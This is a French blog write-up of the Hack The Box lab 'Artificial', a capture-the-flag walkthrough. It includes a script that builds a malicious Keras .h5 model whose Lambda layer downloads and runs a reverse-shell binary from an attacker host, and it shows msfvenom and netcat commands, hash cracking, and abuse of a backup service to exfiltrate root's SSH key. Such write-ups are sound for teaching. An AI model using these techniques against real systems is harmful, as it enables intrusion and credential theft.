Hack The Box : Artificial (writeup)

Voici un compte rendu sur la box « Artificial » de Hack The Box. C’est un challenge classé « Facile » qui se veut une découverte d’un certain type de modèles d’intelligence artificielle.

Accès initial

On commence par réaliser un scan réseau avec Nmap :

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Artificial - AI Solutions
|_http-server-header: nginx/1.18.0 (Ubuntu)

Seulement deux ports sont ouverts, le port 80 et le port 22. Pour le port 80 il semble abriter un serveur web nginx :

On trouve aussi un code d’exemple :

import numpy as np
import pandas as pd
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers

np.random.seed(42)

# Create hourly data for a week
hours = np.arange(0, 24 * 7)
profits = np.random.rand(len(hours)) * 100

# Create a DataFrame
data = pd.DataFrame({
    'hour': hours,
    'profit': profits
})

X = data['hour'].values.reshape(-1, 1)
y = data['profit'].values

# Build the model
model = keras.Sequential([
    layers.Dense(64, activation='relu', input_shape=(1,)),
    layers.Dense(64, activation='relu'),
    layers.Dense(1)
])

# Compile the model
model.compile(optimizer='adam', loss='mean_squared_error')

# Train the model
model.fit(X, y, epochs=100, verbose=1)

# Save the model
model.save('profits_model.h5')

Le site autorise l’inscription, ce qui permet d’arriver sur une page où on peut charger des modèles .h5.

On se doute que si on fournit un fichier h5 malicieux, l’application l’exécutera alors.

Je vais me servir de Docker pour créer un environnement similaire à celui de la cible :

D’abord « Dockerfile » :

FROM python:3.8-slim

WORKDIR /app

RUN pip install tensorflow-cpu==2.13.1

COPY create_payload.py .

CMD ["python", "create_payload.py"]

Ensuite « create_payload.py » :

import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Lambda
import os

# Action malicieuse
def payload(x):
    import os
    os.system("curl http://10.10.10.10:8080/$(pwd)") # Permet de connaitre le chemin courant
    os.system("curl http://10.10.10.10:8080/reverse.elf --output /tmp/reverse.elf")
    os.system("chmod +x /tmp/reverse.elf")
    os.system("/tmp/reverse.elf")
    return x

# Modèle avec Lambda contenant le payload
model = Sequential()
model.add(Lambda(payload, input_shape=(1,)))

# Sauvegarde du modèle (le code de `payload` sera inclus)
model.save("output/malicious_model.h5")
print("malicious_model.h5 créé.")

Le Dockerfile permettra de créer une image docker simulant l’environnement d’execution du système cible. Le second fichier, qui créer la charge utile h5 sera copié et exécuté dans l’image. Pour lancer le processus :

docker build -t keras-h5-payload .
docker run --rm -v $(pwd)/output:/app/output keras-h5-payload

Il faut bien faire attention à ce que le CPU support l’AVX

Le h5 malicieux est créé. Maintenant on doit lancer un serveur web, un listener netcat et créer un reverse shell exécutable :

python3 -m http.server .
nc -lvnp 80
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=80 -f elf -o reverse.elf

On peut charger le h5 sur le site web de la cible et cliquer sur « Predictions ». Et comme on l’a prévu, la cible enregistre deux requetes sur notre serveur web, la première nous affiche le chemin courant (/home/app/app). La deuxième indique que la cible à bien récupéré la charge utile « reverse.elf ».

Le listener netcat reçoit une connexion, on obtiens alors le premier accès !

Premier drapeau : user.txt

Le shell distant offre un accès en tant que « app » (uid 1001). Cet accès permet de prendre la main sur l’application web. On a donc la possibilité de consulter le contenu de /home/app/app/instance/users.db :

On constate que l’utilisateur « gael » est aussi un utilisateur du système, peut être que son mot de passe web est le même que pour sa session, on va essayer de le craquer avec hashcat.

hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

c991759****************:mat*************
bc25b1f****************:mar*************

On trouve le mot de passe de « gael », de ce fait on se connecte via SSH et on affiche le contenu de /home/gael/user.txt.

uid=1000(gael) gid=1000(gael) groups=1000(gael),1007(sysadm)

Élevation de privilèges

En énumérant le système, on aperçoit que le port 9898 sur localhost héberge un serveur de sauvegarde REST : backrest. Par mauvaise configuration (membre du groupe « sysadm »), l’utilisateur « gael » se retrouve avec un accès à un fichier de sauvegarde de ce service :

-rw-r-----  1 root sysadm 52357120 Mar  4 22:19 backrest_backup.tar.gz

Cette archive, cache un fichier config.json (backrest/.config/backrest/config.json) :

{
  "modno": 2,
  "version": 4,
  "instance": "Artificial",
  "auth": {
    "disabled": false,
    "users": [
      {
        "name": "backrest_root",
        "passwordBcrypt": "JDJhJDEw*********************************************************************"
      }
    ]
  }
}

Le hash du mot de passe bcrypt semble ne pas correspondra au format classique, il est en réalité encodé en base64. Une fois décodé, on peut le craquer avec hashcat :

hashcat -m 3200 bcrypt_decoded.hash /usr/share/wordlists/rockyou.txt

On trouve un mot de passe rapidement, ce qui permet de se connecter sur l’application backrest. D’abord on redirige le port 9898 de notre machine KALI vers le localhost:9898 de la cible via un tunnel SSH :

ssh -N -L 0.0.0.0:9898:0.0.0.0:9898 gael@CIBLE

De cette manière on accède à backrest. Cette application nous permet de :

  • Créer des « repositories », ou seront stockées les sauvegardes, peuvent être un chemin local, un S3, un SFTP ou un serveur REST.
  • Créer des « plans » qui sont des travaux de sauvegarde

Malgrès qu’il soit possible d’utiliser un chemin local, les sauvegardes et restaurations étant créés avec l’uid 0 (root), on ne pourra pas les consulter. Il faut alors les stocker sur un système distant que nous maîtrisons.

Le SFTP n’est pas possible non plus car il faudrait pouvoir ajouter notre système distant dans le fichier « known_hosts » de root.

Il reste alors REST ou S3. Je vais partir sur REST car il est très simple à configurer. En effet il suffit d’installer docker sur notre KALI, puis utiliser les trois commandes suivantes :

docker pull restic/rest-server:latest
docker run -p 8000:8000 -v /my/data:/data --name rest_server restic/rest-server
docker exec -it rest_server create_user myuser mypassword

Quand le serveur rest est bien lancé, on retourne sur backrest, et on ajoute un nouveau « repo » (rest:http://myuser:[email protected]) :

Ensuite, on ajoute un nouveau « plan » qui réalisera une sauvegarde de « /root » et l’enverra sur le serveur REST de notre Kali :

Pour récupérer les fichiers de la sauvegarde, il va falloir installer restic :

apt install restic

Il faut initialiser le repo puis lister les snapshots présentes :

restic -r rest:http://toto:[email protected]:8000 init
restic -r rest:http://toto:[email protected]:8000 snapshots

Une fois qu’on obtiens l’identifiant de la snapshot, on liste son contenu pour analyser les fichiers présents :

restic -r rest:http://toto:[email protected]:8000 ls b8fd0

On remarque la présence d’une clé privé SSH, si on la récupère il y a une chance pour qu’elle ne possède pas de mot de passe et qu’on puisse l’utiliser pour se connecter en tant que root sur le système cible :

restic -r rest:http://toto:[email protected]:8000 restore b8fd0:/root/.ssh --target /tmp --include id_rsa
chmod 400 /tmp/id_rsa
ssh -i /tmp/id_rsa root@CIBLE

Second drapeau : root.txt

Avec l’accès SSH root, on peut alors afficher le second drapeau (root.txt).

Cependant il n’y avait pas besoin de cela, restaurer le fichier root.txt de la snapshot aurait suffit pour valider le lab.

Conslusion

Ce challenge n’affichait pas de difficulté particulière, cependant il a été assez chronophage car les deux technologies utilisés sur l’accès initial et l’élévation de privilèges étaient totalement nouvelles pour moi : les modèles d’IA au format HDF et restic.

Florent
Florent

Passionné de nouvelles technologies depuis mon enfance j'aime partager mes avis, connaissances ou expériences dans ce domaine.

Articles: 17

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *